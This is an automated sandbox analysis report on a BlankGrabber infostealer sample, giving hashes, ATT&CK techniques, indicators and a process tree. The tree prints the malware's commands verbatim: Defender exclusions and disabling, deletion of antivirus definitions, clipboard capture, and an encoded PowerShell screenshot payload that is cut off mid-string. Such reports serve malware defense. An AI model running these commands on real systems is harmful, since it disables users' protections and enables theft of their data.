blankgrabber | 63348fd69ac022c3312cea2dbc51655bdf3b44071eaf4fc24d22abcc5cf41566

Analysis

max time kernel
151s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 05:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 6.9MB
Sample260728-gafkmabq21
SHA256 63348fd69ac022c3312cea2dbc51655bdf3b44071eaf4fc24d22abcc5cf41566
MD5 8d8a83523c0c945a9ed6a84c2828e288
SHA1 ab8f30526e21855e6ee02f3c1f06f53e03589cd3
SHA512 c19e060a618d10816a7f27c67e47163b615bda93a1d09924406fcd34afbeff166162a6f63dc33c85e1d7ef092a8c898654c2949ace7ca4b1b55d2a67dd4ed45e
SSDEEP 98304:ozdbM+Q2y+GiedsqEjOjFgFQlwq4Mjk+dBZtu9xTtwz/aer6/Bb1uJ1nL22BLRS0:uVed1COjmFQR4MVGFtwLP7nL225R+qp
TLSH
T14B76338EABA106F5E4B3963CC183C156DB31B92A07B4C9DF03E053655E632C2D93EB56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution blankgrabber spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1664	MpCmdRun.exe

Detects BlankGrabber stealer in memory 2 IoCs

resource	yara_rule
behavioral2/memory/4524-172-0x0000020EE2720000-0x0000020EE2A99000-memory.dmp	blankgrabber_dmp
behavioral2/memory/4524-260-0x0000020EE2720000-0x0000020EE2A99000-memory.dmp	blankgrabber_dmp

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe
3176	powershell.exe
5464	powershell.exe
1364	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3176	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5664	cmd.exe
4484	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2844	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4328	tasklist.exe
4812	tasklist.exe
5780	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c539-21.dat	upx
behavioral2/memory/4524-25-0x00007FF80C8F0000-0x00007FF80CED9000-memory.dmp	upx
behavioral2/files/0x000c00000001c537-29.dat	upx
behavioral2/files/0x000c00000001c52c-28.dat	upx
behavioral2/files/0x000c00000001c533-48.dat	upx
behavioral2/files/0x000c00000001c532-47.dat	upx
behavioral2/files/0x000c00000001c531-46.dat	upx
behavioral2/files/0x000c00000001c530-45.dat	upx
behavioral2/files/0x000c00000001c52f-44.dat	upx
behavioral2/files/0x000c00000001c52e-43.dat	upx
behavioral2/files/0x000c00000001c52d-42.dat	upx
behavioral2/files/0x000c00000001c52b-41.dat	upx
behavioral2/files/0x000c00000001c53f-40.dat	upx
behavioral2/files/0x000c00000001c53e-39.dat	upx
behavioral2/files/0x000c00000001c53c-38.dat	upx
behavioral2/files/0x000c00000001c538-35.dat	upx
behavioral2/files/0x000c00000001c536-34.dat	upx
behavioral2/memory/4524-32-0x00007FF8238E0000-0x00007FF8238EF000-memory.dmp	upx
behavioral2/memory/4524-30-0x00007FF8238F0000-0x00007FF823913000-memory.dmp	upx
behavioral2/memory/4524-50-0x00007FF8238C0000-0x00007FF8238D9000-memory.dmp	upx
behavioral2/memory/4524-52-0x00007FF823890000-0x00007FF8238BD000-memory.dmp	upx
behavioral2/memory/4524-58-0x00007FF823860000-0x00007FF823883000-memory.dmp	upx
behavioral2/memory/4524-60-0x00007FF817B70000-0x00007FF817CE0000-memory.dmp	upx
behavioral2/memory/4524-62-0x00007FF823840000-0x00007FF823859000-memory.dmp	upx
behavioral2/memory/4524-64-0x00007FF823830000-0x00007FF82383D000-memory.dmp	upx
behavioral2/memory/4524-66-0x00007FF823800000-0x00007FF82382E000-memory.dmp	upx
behavioral2/memory/4524-71-0x00007FF811080000-0x00007FF811138000-memory.dmp	upx
behavioral2/memory/4524-73-0x00007FF810390000-0x00007FF810709000-memory.dmp	upx
behavioral2/memory/4524-78-0x00007FF820BB0000-0x00007FF820BC4000-memory.dmp	upx
behavioral2/memory/4524-77-0x00007FF820BA0000-0x00007FF820BAD000-memory.dmp	upx
behavioral2/memory/4524-76-0x00007FF8238F0000-0x00007FF823913000-memory.dmp	upx
behavioral2/memory/4524-80-0x00007FF810F60000-0x00007FF81107C000-memory.dmp	upx
behavioral2/memory/4524-70-0x00007FF80C8F0000-0x00007FF80CED9000-memory.dmp	upx
behavioral2/memory/4524-111-0x00007FF823860000-0x00007FF823883000-memory.dmp	upx
behavioral2/memory/4524-124-0x00007FF817B70000-0x00007FF817CE0000-memory.dmp	upx
behavioral2/memory/4524-149-0x00007FF823840000-0x00007FF823859000-memory.dmp	upx
behavioral2/memory/4524-168-0x00007FF823800000-0x00007FF82382E000-memory.dmp	upx
behavioral2/memory/4524-171-0x00007FF811080000-0x00007FF811138000-memory.dmp	upx
behavioral2/memory/4524-173-0x00007FF810390000-0x00007FF810709000-memory.dmp	upx
behavioral2/memory/4524-203-0x00007FF8238F0000-0x00007FF823913000-memory.dmp	upx
behavioral2/memory/4524-202-0x00007FF80C8F0000-0x00007FF80CED9000-memory.dmp	upx
behavioral2/memory/4524-208-0x00007FF817B70000-0x00007FF817CE0000-memory.dmp	upx
behavioral2/memory/4524-250-0x00007FF823860000-0x00007FF823883000-memory.dmp	upx
behavioral2/memory/4524-249-0x00007FF823890000-0x00007FF8238BD000-memory.dmp	upx
behavioral2/memory/4524-254-0x00007FF823800000-0x00007FF82382E000-memory.dmp	upx
behavioral2/memory/4524-258-0x00007FF820BA0000-0x00007FF820BAD000-memory.dmp	upx
behavioral2/memory/4524-259-0x00007FF810F60000-0x00007FF81107C000-memory.dmp	upx
behavioral2/memory/4524-257-0x00007FF820BB0000-0x00007FF820BC4000-memory.dmp	upx
behavioral2/memory/4524-256-0x00007FF810390000-0x00007FF810709000-memory.dmp	upx
behavioral2/memory/4524-255-0x00007FF811080000-0x00007FF811138000-memory.dmp	upx
behavioral2/memory/4524-251-0x00007FF817B70000-0x00007FF817CE0000-memory.dmp	upx
behavioral2/memory/4524-253-0x00007FF823830000-0x00007FF82383D000-memory.dmp	upx
behavioral2/memory/4524-252-0x00007FF823840000-0x00007FF823859000-memory.dmp	upx
behavioral2/memory/4524-245-0x00007FF80C8F0000-0x00007FF80CED9000-memory.dmp	upx
behavioral2/memory/4524-248-0x00007FF8238C0000-0x00007FF8238D9000-memory.dmp	upx
behavioral2/memory/4524-246-0x00007FF8238F0000-0x00007FF823913000-memory.dmp	upx
behavioral2/memory/4524-247-0x00007FF8238E0000-0x00007FF8238EF000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3648	cmd.exe
5452	cmd.exe
4840	cmd.exe
2752	cmd.exe
3532	cmd.exe
2312	cmd.exe
1940	cmd.exe
3520	cmd.exe
996	cmd.exe
6048	cmd.exe
1976	cmd.exe
2616	cmd.exe
2016	cmd.exe
3816	cmd.exe
2524	cmd.exe
1160	cmd.exe
4432	cmd.exe
3252	cmd.exe
3328	cmd.exe
4900	cmd.exe
2912	cmd.exe
916	cmd.exe
4656	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
756	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4148	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe
2176	powershell.exe
2176	powershell.exe
2176	powershell.exe
3176	powershell.exe
3176	powershell.exe
5756	WMIC.exe
5756	WMIC.exe
5756	WMIC.exe
5756	WMIC.exe
4484	powershell.exe
4484	powershell.exe
3664	powershell.exe
3664	powershell.exe
4484	powershell.exe
3664	powershell.exe
5464	powershell.exe
5464	powershell.exe
5464	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
2904	WMIC.exe
2904	WMIC.exe
2904	WMIC.exe
2904	WMIC.exe
2716	WMIC.exe
2716	WMIC.exe
2716	WMIC.exe
2716	WMIC.exe
1128	WMIC.exe
1128	WMIC.exe
1128	WMIC.exe
1128	WMIC.exe
1364	powershell.exe
1364	powershell.exe
1364	powershell.exe
756	WMIC.exe
756	WMIC.exe
756	WMIC.exe
756	WMIC.exe
3268	powershell.exe
3268	powershell.exe
3268	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	4812	tasklist.exe
Token: SeDebugPrivilege	4328	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5756	WMIC.exe
Token: SeSecurityPrivilege	5756	WMIC.exe
Token: SeTakeOwnershipPrivilege	5756	WMIC.exe
Token: SeLoadDriverPrivilege	5756	WMIC.exe
Token: SeSystemProfilePrivilege	5756	WMIC.exe
Token: SeSystemtimePrivilege	5756	WMIC.exe
Token: SeProfSingleProcessPrivilege	5756	WMIC.exe
Token: SeIncBasePriorityPrivilege	5756	WMIC.exe
Token: SeCreatePagefilePrivilege	5756	WMIC.exe
Token: SeBackupPrivilege	5756	WMIC.exe
Token: SeRestorePrivilege	5756	WMIC.exe
Token: SeShutdownPrivilege	5756	WMIC.exe
Token: SeDebugPrivilege	5756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5756	WMIC.exe
Token: SeRemoteShutdownPrivilege	5756	WMIC.exe
Token: SeUndockPrivilege	5756	WMIC.exe
Token: SeManageVolumePrivilege	5756	WMIC.exe
Token: 33	5756	WMIC.exe
Token: 34	5756	WMIC.exe
Token: 35	5756	WMIC.exe
Token: 36	5756	WMIC.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	5780	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5756	WMIC.exe
Token: SeSecurityPrivilege	5756	WMIC.exe
Token: SeTakeOwnershipPrivilege	5756	WMIC.exe
Token: SeLoadDriverPrivilege	5756	WMIC.exe
Token: SeSystemProfilePrivilege	5756	WMIC.exe
Token: SeSystemtimePrivilege	5756	WMIC.exe
Token: SeProfSingleProcessPrivilege	5756	WMIC.exe
Token: SeIncBasePriorityPrivilege	5756	WMIC.exe
Token: SeCreatePagefilePrivilege	5756	WMIC.exe
Token: SeBackupPrivilege	5756	WMIC.exe
Token: SeRestorePrivilege	5756	WMIC.exe
Token: SeShutdownPrivilege	5756	WMIC.exe
Token: SeDebugPrivilege	5756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5756	WMIC.exe
Token: SeRemoteShutdownPrivilege	5756	WMIC.exe
Token: SeUndockPrivilege	5756	WMIC.exe
Token: SeManageVolumePrivilege	5756	WMIC.exe
Token: 33	5756	WMIC.exe
Token: 34	5756	WMIC.exe
Token: 35	5756	WMIC.exe
Token: 36	5756	WMIC.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeIncreaseQuotaPrivilege	2176	powershell.exe
Token: SeSecurityPrivilege	2176	powershell.exe
Token: SeTakeOwnershipPrivilege	2176	powershell.exe
Token: SeLoadDriverPrivilege	2176	powershell.exe
Token: SeSystemProfilePrivilege	2176	powershell.exe
Token: SeSystemtimePrivilege	2176	powershell.exe
Token: SeProfSingleProcessPrivilege	2176	powershell.exe
Token: SeIncBasePriorityPrivilege	2176	powershell.exe
Token: SeCreatePagefilePrivilege	2176	powershell.exe
Token: SeBackupPrivilege	2176	powershell.exe
Token: SeRestorePrivilege	2176	powershell.exe
Token: SeShutdownPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeSystemEnvironmentPrivilege	2176	powershell.exe
Token: SeRemoteShutdownPrivilege	2176	powershell.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 4524	2880	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	89
PID 4524 wrote to memory of 5452	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 4524 wrote to memory of 3648	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 5452 wrote to memory of 2176	5452	cmd.exe	94
PID 3648 wrote to memory of 3176	3648	cmd.exe	95
PID 4524 wrote to memory of 3252	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	96
PID 4524 wrote to memory of 3520	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	97
PID 3520 wrote to memory of 4812	3520	cmd.exe	100
PID 3252 wrote to memory of 4328	3252	cmd.exe	101
PID 4524 wrote to memory of 3328	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	102
PID 4524 wrote to memory of 5664	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 4524 wrote to memory of 996	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	104
PID 4524 wrote to memory of 4900	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 4524 wrote to memory of 6048	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 4524 wrote to memory of 2224	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 5664 wrote to memory of 4484	5664	cmd.exe	114
PID 3328 wrote to memory of 5756	3328	cmd.exe	115
PID 996 wrote to memory of 5780	996	cmd.exe	117
PID 6048 wrote to memory of 4148	6048	cmd.exe	118
PID 4900 wrote to memory of 1720	4900	cmd.exe	119
PID 2224 wrote to memory of 3664	2224	cmd.exe	120
PID 4524 wrote to memory of 2912	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	121
PID 3664 wrote to memory of 2228	3664	powershell.exe	123
PID 2912 wrote to memory of 5064	2912	cmd.exe	124
PID 2228 wrote to memory of 5224	2228	csc.exe	125
PID 4524 wrote to memory of 2524	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	126
PID 2524 wrote to memory of 4104	2524	cmd.exe	129
PID 4524 wrote to memory of 4840	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	130
PID 4840 wrote to memory of 2064	4840	cmd.exe	132
PID 4524 wrote to memory of 2752	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	133
PID 2752 wrote to memory of 5164	2752	cmd.exe	135
PID 4524 wrote to memory of 1160	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	136
PID 1160 wrote to memory of 3388	1160	cmd.exe	138
PID 3648 wrote to memory of 1664	3648	cmd.exe	139
PID 4524 wrote to memory of 1976	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	140
PID 1976 wrote to memory of 1832	1976	cmd.exe	142
PID 4524 wrote to memory of 2616	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 2616 wrote to memory of 5464	2616	cmd.exe	145
PID 4524 wrote to memory of 916	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	146
PID 916 wrote to memory of 5724	916	cmd.exe	148
PID 4524 wrote to memory of 2016	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	149
PID 2016 wrote to memory of 2844	2016	cmd.exe	151
PID 4524 wrote to memory of 4432	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	152
PID 4432 wrote to memory of 2904	4432	cmd.exe	154
PID 4524 wrote to memory of 4656	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	155
PID 4524 wrote to memory of 3816	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	158
PID 3816 wrote to memory of 1128	3816	cmd.exe	160
PID 4524 wrote to memory of 3532	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	161
PID 3532 wrote to memory of 1364	3532	cmd.exe	163
PID 4524 wrote to memory of 2312	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	164
PID 2312 wrote to memory of 756	2312	cmd.exe	166
PID 4524 wrote to memory of 1940	4524	2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	167
PID 1940 wrote to memory of 3268	1940	cmd.exe	169

C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-28_8d8a83523c0c945a9ed6a84c2828e288_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3176
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:996
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6048
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAI